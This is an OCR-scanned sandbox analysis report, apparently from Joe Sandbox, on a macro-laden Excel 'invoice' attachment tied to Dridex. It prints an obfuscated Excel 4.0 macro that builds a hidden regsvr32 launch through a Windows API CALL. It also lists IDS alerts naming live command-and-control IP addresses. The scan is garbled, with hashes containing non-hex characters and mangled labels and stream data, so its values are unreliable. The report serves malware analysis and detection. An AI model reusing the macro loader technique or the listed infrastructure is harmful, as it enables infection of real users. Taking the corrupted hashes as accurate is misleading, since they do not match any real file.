File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

data

dropped

58711

7.860058272481754

false
1536:hE8RzggbLmCf6646CIKHZQmYakm9RjomAWSLNFgEY:hJ1IrmCM2myS/BLAW+LY
255CA928785E9F2C48A0EB3916F79429
79B65260FOBEF4F34378B537E67E79193CAFATEQ
F2AA013C888F4624B96D620E8B5206C02CCC49F542ADCC46E8D5CD8FDC48E485
7CCEFDA4776F9B889C219719778E38FCOEBF0B4997A18DEB0548B36829DD27DFCF7B0656E88E20F6541A1B8AEE3A96FF2FD3BCID44B19361495E1072FA720A33

false

..N.0.E.....H...(,0..6
]Jo..1....0. ;

S (W(9..ar UG +R..N*....0.gR....Y... Y ~<Z ML >% (K A WU &.LILwP. .....1%........ At k%@:.d.F... . HFS...OH....2..
57.Y....s..e. XB+@..3R.Ep..05. W...#..N.Yw.Y.|U. rBK)o.dz..g.H.
[Content_Types].Xml ...(c..cccooiiiiiiiiiiiiiicicce

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/IFFDIW2fj/FFDIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8BAC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

JAlbuso oo

Static File Info

General
File type:

Entropy (8bit):

TriD:

File name:
File size:
MDS5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

Copyright null 2021

Microsoft Excel 2007+
7.77272893585129

o Excel Microsoft Office Open XML Format document
with Macro (57504/1) 54.50%
o Excel Microsoft Office Open XML Format document
(40004/1) 37.92%
e ZIP compressed archive (8000/1) 7.58%
INV7693947099-20210111388211.xIsm
42039
9b7c2b0abf5478ef9a23d9a9e87c7835
6931c4b845a8a952699d9cf85b316e3b3d826a41
a463f9a8842a5c947abaazbff1b621835ff35f65f9d3272bf
1fa5197df9f07d0

4c92f1fdbd83eb8e38e93800d2620c328ac59de4d5cdef9
e8fbbcfc02fe715f110db49a83880ef0726fh1224d140472
abf341b22fa7710710a69f0612aa880840

768:IHTOFIYWYIKUOaSqlRgzxTLKLIS5QIHbdYoVqg+:uY
WQKUOV(qIRgzxTOLpZYAq+
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File Icon

Icon Hash: ede2aa8aadbcbcac

Static OLE Info

General
Document Type: OpenXML
Number of OLE Files: 2

OLE File "lopt/packageljoesandbox/database/analysis/338082/sample/INV7693947099-

20210111388211.xIsm"

Indicators

Has Summary Info: False
Application Name: unknown
Encrypted Document: False

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary
Author:
Last Saved By:

Create Time: 2020-12-07T14:38:21Z
Last Saved Time: 2021-01-11T14:32:26Z
Creating Application: Microsoft Excel
Security: 0

Document Summary

Thumbnail Scaling Desired: false
Company:

Contains Dirty Links: false
Shared Document: false
Changed Hyperlinks: false
Application Version: 16.0300
Streams with VBA

VBA File Name: Modulel.bas, Stream Size: 3215

General

Stream Path: VBA/Modulel

VBA File Name: Modulel.bas

Stream Size: 3215

Data ASCIl: S X, X oo
................. X ot ME L

Data Raw: 01 16 03 00 03 fO 00 00 00 2a 05 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 58 05 00 00 fO 09 00

00 00 00 00 00 01 00 00 00 ba 78 ca 26 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00

VBA Code Keywords

Keyword
Integer:
bycilke()
VB_Name

MiV(sem.value)
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Keyword
homepodd()
homepodd
Error
Integer)
bycilke
Function
ol).Name
")

String

"ab":
Split(govs,
Randomize:
yellowsto(yel

Next:

ActiveSheet.UsedRange.SpecialCells(xICellTypeConstants)

yellowsto(Oa))))

Integer

yellowsto

ol).value
nimo(Int((UBound(nimo)
Replace(Vo,
Chr(sem.Row)

Sheets(ol).Cells(homepodd,

"ab"))

Split(kij(ol),
yellowsto(homepodd))
Rnd))

(Run(™

"moreP_"

Variant)

Attribute

Resume
pagesREviewsd(Optional
ecimovert(nimo
ecimovert

MsgBox

VBA Code

VBA File Name: Sheetl.cls, Stream Size: 1639

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

Index

VB_Name
VB_Creatable
Application.OnTime
VB_Exposed

Long)

ResizePagess()

Copyright null 2021

VBA/Sheetl

Sheetl.cls

1639

................. LN O 4 G
................. X.....".view_1_a, 1, 0, MSForms, MultiPage...
................................... ME

01 16 03 00 00 16 01 00 00 c8 03 00 00 fa 00 00 00 26 02 00 00 ff ff ff ff cf 03 00 00 fb 04 00
00 00 00 00 00 01 00 00 00 ba 78 c2 6b 00 00 ff ff 63 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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Keyword
VB_Customizable
"REviewsd"
VB_Control
MultiPage"
VB_TemplateDerived
MSForms,

False

Attribute

Private
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
ResizePagess

"pages”

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False
VB_Exposed
Attribute
VB_Name
VB_Creatable
"ThisWorkbook"
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

VBA/ThisWorkbook
ThisWorkbook.cls

01 16 03 00 00 fO 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00
00 00 00 00 00 01 00 00 00 ba 78 1c 64 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 550

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

PROJECT

ASCII text, with CRLF line terminators
550

5.28107922141

True

ID="{4934EDC8-1B93-45BC-B690-DBB29D5C1473}"..Docum
ent=ThisWorkbook/&H00000000..Document=Sheetl/&H0000
0000..Module=Modulel..Name="VBAProject"..HelpContextlD
="0"..VersionCompatible32="393222000"..CMG="EEEC1D31
E5F1D7F5D7F5D7F5D7F5". . DPB="DCDE2F3FF32CF42CF42

cr
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General

Data Raw:

Stream Path: PROJECTwm, File Type: data, Stream Size: 86

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 3574

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 2060

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 187

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Copyright null 2021

49 44 3d 22 7b 34 39 33 34 45 44 43 38 2d 31 42 39 33 2d 34 35 42 43 2d 42 36 39 30 2d 44
42 42 3239 44 3543 31 34 37 33 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f
72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 44 6f 63 75 6d 65 6e 74 3d 53 68 65
65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 4d 6f 64 75 6¢ 65 31 0d
Oa 4e 61 6d 65 3d

PROJECTwMm
data

86
3.24455457963
False

ThisWorkbook.T.h.i.s.W.o.r.k.b.o.o.k...Sheetl.S.h.e.e.t.1..
.Modulel.M.o.d.u.l.e.1.....

54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00
6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 4d
6f 64 75 6¢ 65 31 00 4d 00 6f 00 64 00 75 00 6¢ 00 65 00 31 00 00 00 00 00

VBA/_VBA_PROJECT

data

3574

4.45079869926

False

A .*\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C.:.\.P.r.o.g.r.a.m F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\\.
M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.V.B.A.\.V.B.A.7...1.\.V.B.E.
7.

cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 32 00 23 00

VBA/__SRP_0
data

2060
3.45011283232

False

93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 02
00 00 00 00 00 01 00 02 00 02 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05
00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00
00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 02 00 00 00 00
00 00 7e 02 00 00 00

VBA/__SRP_1
data

187
1.91493173134

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
00 00 ff ff f ff ff ff ff ff ff ff ff ff ff ff f ff ff ff ff ff OO 00 00 0O ff ff ff ff ff f ff ff f ff ff ff ff ff f ff 11 00
00 00 00 00 00 00 00 00 03 00 02 00 00 00 00 00 00 08 02 00 00 00 00 00
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Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 363

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 398

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/dir, File Type: data, Stream Size: 820

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macro 4.0 Code

VBA/__SRP_2
data

363
2.21122978445

False

7255 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00
00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00
10 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff

VBA/__SRP_3
data

398
2.07709195049

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
02 00 ff ff ff ff ff f ff ff f ff ff ff 00 00 00 00 10 00 00 00 08 00 38 00 f1 00 00 00 00 00 00 00 00
00 02 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 0O

VBA/dir

data

820
6.49145935167
True

0L 0*..... p..H..... d........ VBAProje.ct..4..@..j...=....r
........... a.....J<.....r.stdole>...s.t.d.o..l.e...h.% ... *\G{00.
020430-..... C...... 004.6}#2.0#0.#C:\Wind.ows\Syst em32\\.
e2..tIb#OLE .Automati.on. ...EOffDic.EO.f..i..c.E....... E.2D
F8Do04C.-

01 30 b3 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4
04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 Oa
3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 09 a2 eb 61 05 94 00 Oc 02 4a 3c 02 Oa 16 00
01 72 80 73 74 64 6f 6¢ 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6¢ 00 65 00 Od 00 68 00
2502 5e 00 03 2a 5¢ 47

CALL(wegb&00, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, v0&"p"&w00&"n", "r"&w00&"gsvr'&o0, " -s "&bb&abé&ba, 0, 0)

"=CALL(wegb&00,"S"'&ohgdfww&"'A"™,i0&i0&"'CCCC"'&i0,0,v0&" p""&W00&" n"™"," r""&w00& " ""'gsvr'"'&00," -s ""&bb&ab&ba,0,0)"'=RETURN()

OLE File "lopt/packageljoesandbox/database/analysis/338082/sample/INV7693947099-

20210111388211.xIsm"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Copyright null 2021

False
unknown

False
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Indicators

Contains VBA Macros:

Summary

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary

Thumbnail Scaling Desired:

Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 115

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: f, File Type: data, Stream Size: 178

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i02/\x1CompObj, File Type: data, Stream Size: 110

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i02/f, File Type: data, Stream Size: 40

Copyright null 2021

False

2020-12-07T14:38:21Z
2021-01-11T14:32:26Z
Microsoft Excel

0

false

false
false
false

16.0300

\x1CompObj
data

115
4.80096587863

False

bedded Object..... Forms.MultiPage.1..9.q............

01 00 fe ff 03 0a 00 00 ff ff ff ff 70 13 e3 46 7a 3f ce 11 be d6 00 aa 00 61 10 80 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 12 00 00 00 46 6f 72 6d 73 2e 4d 75 6¢ 74 69 50
61 67 65 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

data
178
256223021678

False
$.H........ @....... P S 2.
FE .o #oooo. Pagel............. S [
Page2 5 T

00 04 24 00 48 Oc 00 Oc 03 00 00 00 04 40 00 00 04 00 00 00 00 7d 00 00 84 00 00 00 84 00
00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 74 00 00 00 00 83 01 00 00 00 1c 00 f4 01
00 00 01 00 00 00 32 00 00 00 98 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 24 00
d5 01 00 00 05 00 00 80 02 00 00 00 23 00 04 00 01 00 07 00 50 61 67 65 31 00 00 00 00 00
00 00 00 00 00 00 00 00

i02/\x1CompObj
data

110
4.63372611993

False

bedded Object..... Forms.Form.1..9.9............

01 00 fe ff 03 0a 00 00 ff ff ff ff fO 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d
69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62
65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i02/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i03/\x1CompObj, File Type: data, Stream Size: 110

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i03/f, File Type: data, Stream Size: 40

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i03/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: o, File Type: data, Stream Size: 152

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:

Copyright null 2021

i02/f

data

40
1.54176014818

False

00 04 1c 00 40 Oc 00 08 04 80 00 00 00 7d 00 00 84 00 00 00 84 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

i02/0
empty

0.0

False

i03/\x1CompObj
data

110
4.63372611993

False

bedded Object..... Forms.Form.1..9.9............

01 00 fe ff 03 0a 00 00 ff ff ff ff fO 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d
69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62
65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

i03/f

data

40
1.90677964945

False

00 04 1c 00 40 Oc 00 08 04 80 00 00 00 7d 00 00 6e 13 00 00 fd Ob 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

i03/0
empty

0.0

False

data
152
2.68720470607

False
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General

Data ASCII: B Pagel....... Pag
e2. ... Tab3 .Tabd.. ... ... ... 5. Cali
bri.........

Data Raw: 00 02 70 00 31 82 fa 00 00 00 00 00 18 00 00 00 02 00 00 00 08 00 00 00 10 00 00 00 04 00

00 00 08 00 00 00 02 00 00 00 08 00 00 00 84 00 00 00 84 00 00 00 05 00 00 80 50 61 67 65
31 00 00 00 05 00 00 80 50 61 67 65 32 00 00 00 00 00 00 00 00 00 00 00 04 00 00 80 54 61
62 33 04 00 00 80 54 61 62 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 18 00
3500 00 00 07 00 00 80

Stream Path: x, File Type: data, Stream Size: 48

General

Stream Path: X

File Type: data

Stream Size: 48

Entropy: 1.42267983198

Base64 Encoded: False

Data ASCIL: e

Data Raw: 00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 Oc 00 06 00

00 00 02 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00

Macro 4.0 Code

CALL(wegb&00, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, vO&"p"&w00&"n", "r"&w00&"gsvr'&o0, " -s "&bb&abé&ba, 0, 0)

"=CALL(wegb&00,"S""&ohgdfww&"'A"™,i0&i0&"'CCCC"'&i0,0,v0&" p""&W00&" n"™","'r""&w00& " "'gsvr'"'&00," -s ""&bb&ab&ba,0,0)"'=RETURN()

Network Behavior

Snort IDS Alerts

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49166 77.220.64.37 192.168.2.22
16:33:28.859793
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49168 80.86.91.27  192.168.2.22
16:33:31.219110
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49169 5.100.228.233 192.168.2.22
16:33:31.803659
01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49169 5.100.228.233 192.168.2.22
16:33:31.803659
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49171 77.220.64.37 192.168.2.22
16:33:32.898299
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49172 80.86.91.27  192.168.2.22
16:33:33.421779
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49173 5.100.228.233 192.168.2.22
16:33:33.942360
01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49173 5.100.228.233 192.168.2.22
16:33:33.942360
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49175 77.220.64.37 192.168.2.22
16:33:34.956118
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49176 80.86.91.27  192.168.2.22
16:33:35.637380
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49177 5.100.228.233 192.168.2.22
16:33:36.465310
01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49177 5.100.228.233 192.168.2.22
16:33:36.465310
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49179 77.220.64.37 192.168.2.22
16:33:38.860370
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49180 80.86.91.27  192.168.2.22
16:33:39.364915
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49181 5.100.228.233 192.168.2.22
16:33:39.876729
01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49181 5.100.228.233 192.168.2.22
16:33:39.876729
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49183 77.220.64.37 192.168.2.22
16:33:40.921252
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49184 80.86.91.27  192.168.2.22
16:33:41.444641
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Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49185 5.100.228.233 192.168.2.22
16:33:41.968430

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49185 5.100.228.233 192.168.2.22
16:33:41.968430

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49187 77.220.64.37 192.168.2.22
16:33:42.990880

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49188 80.86.91.27  192.168.2.22
16:33:43.505931

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49189 5.100.228.233 192.168.2.22
16:33:44.032087

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49189 5.100.228.233 192.168.2.22
16:33:44.032087

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49191  77.220.64.37 192.168.2.22
16:33:45.095185

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49192 80.86.91.27  192.168.2.22
16:33:45.606617

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49193 5.100.228.233 192.168.2.22
16:33:46.135463

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49193 5.100.228.233 192.168.2.22
16:33:46.135463

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49195 77.220.64.37 192.168.2.22
16:33:47.174614

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49196 80.86.91.27  192.168.2.22
16:33:47.681193

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49197 5.100.228.233 192.168.2.22
16:33:48.205309

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49197 5.100.228.233 192.168.2.22
16:33:48.205309

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49199  77.220.64.37 192.168.2.22
16:33:49.231168

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49200 80.86.91.27  192.168.2.22
16:33:49.741661

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49201 5.100.228.233 192.168.2.22
16:33:50.268882

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49201 5.100.228.233 192.168.2.22
16:33:50.268882

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49203  77.220.64.37 192.168.2.22
16:33:51.330546

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49204 80.86.91.27  192.168.2.22
16:33:51.846567

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49205 5.100.228.233 192.168.2.22
16:33:52.359466

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49205 5.100.228.233 192.168.2.22
16:33:52.359466

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49207  77.220.64.37 192.168.2.22
16:33:53.365974

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49208 80.86.91.27  192.168.2.22
16:33:53.930657

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49209 5.100.228.233 192.168.2.22
16:33:54.574062

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49209 5.100.228.233 192.168.2.22
16:33:54.574062

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49211  77.220.64.37 192.168.2.22
16:33:57.129707

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49212 80.86.91.27  192.168.2.22
16:33:57.717785

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49213 5.100.228.233 192.168.2.22
16:33:58.211421

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49213 5.100.228.233 192.168.2.22
16:33:58.211421

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49215  77.220.64.37 192.168.2.22
16:33:59.264008

